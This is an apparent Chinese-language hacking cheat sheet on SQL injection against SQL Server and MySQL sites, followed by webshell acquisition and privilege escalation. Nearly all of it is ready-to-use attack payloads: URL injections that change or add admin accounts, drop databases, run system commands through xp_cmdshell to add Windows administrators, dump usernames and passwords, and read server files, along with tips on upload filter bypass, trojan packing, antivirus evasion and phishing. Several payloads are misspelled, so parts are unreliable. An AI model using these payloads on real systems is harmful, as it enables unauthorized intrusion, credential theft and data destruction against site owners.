2搜索型注入利用了SQL語句中的模糊查詢功能 在搜索框中輸入 “要搜索的關鍵字%’ and 注入工具代碼”
注入過程中暴出的管理員密碼是經過MD5加密,又不能破解,這個時候直接利用SQL注入來修改數據庫中的數據,直接把管理員的密碼改掉
語句 ;update 表名 set 列名=’內容’ where 條件
如 http://www/xxx.com/xx.asp?id=xx;update admin set password=’123’ where username=’aaa’
其功能就是把admin 表中的username為aaa的密碼改為123
新添加一個管理員 語句 ;insert into 表名 values(內容)--
如http://www/xxx.com/xx.asp?id=xx;insert into admin values(aaa,123)--
其功能就是往admin表中添加一個username為aaa password 為123的管理員
得到數據庫名稱為bbb 執行 ;drop database bbb , bbb數據庫就刪除了
如http://www/xxx.com/xx.asp?id=xx;drop database bbb
URL后面提交 and (select @@version)>0 來獲取數據庫版本
提交 and db_name()>0 來獲得當前數據庫名
提交 and user>0 獲得當前數據庫用戶名 還有其他的一些如SESSION_USER CURRENT_USER SYSTEM_USER
判斷權限 提交http://www/xxx.com/xx.asp?id=xx and user>0 返回PUBLIC 當前就是PUBLIC權限
判斷是否支持多句查詢 提交 http://www/xxx.com/xx.asp?id=xx;declare @a int—
判斷是否支持子查詢 提交 http://www/xxx.com/xx.asp?id=xx and (select cout(1) from [sysobject])>0
擴展存儲過程 需要sa權限才能執行
提交http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘ dir c:\’ 查看c盤根目錄相關的文件和文件夾
提交http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘ netuser 123 123/add’ 和
http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘net localgroup administrators 123/add’ 添加一個管理員
提交 http://www/xxx.com/xx.asp?id=xx and SELECT count(*) FROM master.dbo.sysobjects WHERE xtype=’X’ and name=’xp_cmdshell’ 返回說明擴展存儲過程存在
不存在,我們使用 http://www/xxx.com/xx.asp?id=xx;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’ 來恢復,如果要刪除,執行exec sp_dropextendedproc ‘xp_cmdshell’
提交http://www/xxx.com/xx.asp?id=xx;DECLARE @S INT EXEC SP_OACREAT ‘wscript.shell’, @s exec master..SPOAMETHON @s, ‘run’,null,’cmd.exe/c dir c:\’ 通過sp_OACREAT 和sp_OAMETHOD 來執行DOS命令
MySQL
Google 中輸入 inurl:php?id= 就能得到很多php站了
http://www/xxx.com/xx.php?id=32 后面添加 and 1=1 和 and 1=2 判斷是否存在注入
http://www/xxx.com/xx.php?id=32/* 只有MySQL數據庫支持/*注釋,提交就能夠判斷
and ord(mid(verion(),1,1))>51/* 確定版本 返回正常版本大於4.0 錯誤,不支持UNION查詢 51是ASC碼3 大於3 就是4版本以上
URL提交 /*!%20s*/ 返回錯誤,可判斷該數據為MySQL
URL提交/*!40000%20s*/ 返回錯誤,版本大於4
利用 union select 1,2,3,4 來獲得字段數 或 order by 10 來獲得
Union select 字段數 from 表名 字段數有三個 就應該是 1,2,3
http://www/xxx.com/xx.php?id=32 union select 1,2,3,4,5,6,7 from admin
http://www/xxx.com/xx.php?id=32 union select 1,version(),3,4,5,6,7 from admin 來判斷版本
http://www/xxx.com/xx.php?id=32 union select 1,username,3,4,5,6,7 from admin 來獲得用戶名
http://www/xxx.com/xx.php?id=32 union select 1,password,3,4,5,6,7 from admin 來獲得用戶名密碼
http://www/xxx.com/xx.php?id=32 union select 1,password,3,4,5,6,7 from admin where id=2 得到第二天記錄
http://www/xxx.com/xx.php?id=32 and ord(mid(user(),1,1))=114/* 返回正常說明是root權限
and (select count(*) from MySQL.user)>0 來判斷是否具有文件讀寫的權限http://www/xxx.com/xx.php?id=32 union select 1,load_file(0x655A2F626F6F742E696E69),3,4,5,6,7 from admin 就可以讀取c:\boot.ini 中的信息
旁注
如何獲得Webshell
ASP系統 會過濾掉asp后綴,提交aspx 木馬 或者把后綴改為 ASA CER AASPSP
PHP和JSP 一般是linux系統 會解析perl 后綴名 pl 在windows上 上傳ASPX ASA CER 都可以獲得webshell
后台備份恢復獲得webshell
SQL導出獲得webshell 可以使用getwebshell工具導出
寫入過濾不完全獲得webshell 利用一句話 菜刀連接,上傳大馬
提權 pcanywhere serv-u sam 提權
查找conn config pass 看能否得到sa mysql 密碼
檢查系統服務 task
大部分網站管理員會刪除cmd net 我們需要上傳cmd.exe net.exe net1.exe
后台數據庫是SQL Server提交http://www.xxx.com/xxx/asp?id=xx;exec master.dbo.xp_cmdshell ‘cacls d:\home /t /e /c /g everyone:f’ ;-- 這樣賦予了操作系統everyone組的成員所有權限,可以上傳
利用本地溢出程序進行提權 木馬的加密與防殺 加殼就是對木馬進行加密或變換 網絡釣魚 社會工程學